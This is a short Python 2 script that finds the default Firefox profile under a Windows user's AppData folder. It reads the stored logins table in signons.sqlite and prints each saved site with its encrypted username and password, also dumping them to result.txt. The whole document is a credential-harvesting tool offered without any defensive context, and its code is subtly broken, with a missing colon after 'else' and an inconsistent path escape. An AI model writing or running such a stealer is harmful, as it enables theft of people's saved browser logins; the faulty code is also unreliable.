import os
import glob
import shutil
import sqlite3
# get signons.sqlite

error_message = "[-] There are no information in Firefox"
def open_password_file():
	if len(glob.glob(os.environ["Appdata"] + "\\Mozilla\Firefox\\Profiles\\*.default\\")) > 0:
		return glob.glob(os.environ["Appdata"] + "\\Mozilla\Firefox\\Profiles\\*.default\\")[0] + "signons.sqlite"
	else
		print error_message

# save in result file
def read_content_in_database(password_file_name):
	result_file = open("result.txt","w")
	conn = sqlite3.connect(password_file_name)
	c = conn.cursor()
	for row in c.execute("SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins"):
		print row[0]
		print " " + row[1]
		print " " + row[2]
		result_file.write(row[0] + "\n\t" + row[1] + "\n\t" + row[2] + "\n")

read_content_in_database(open_password_file())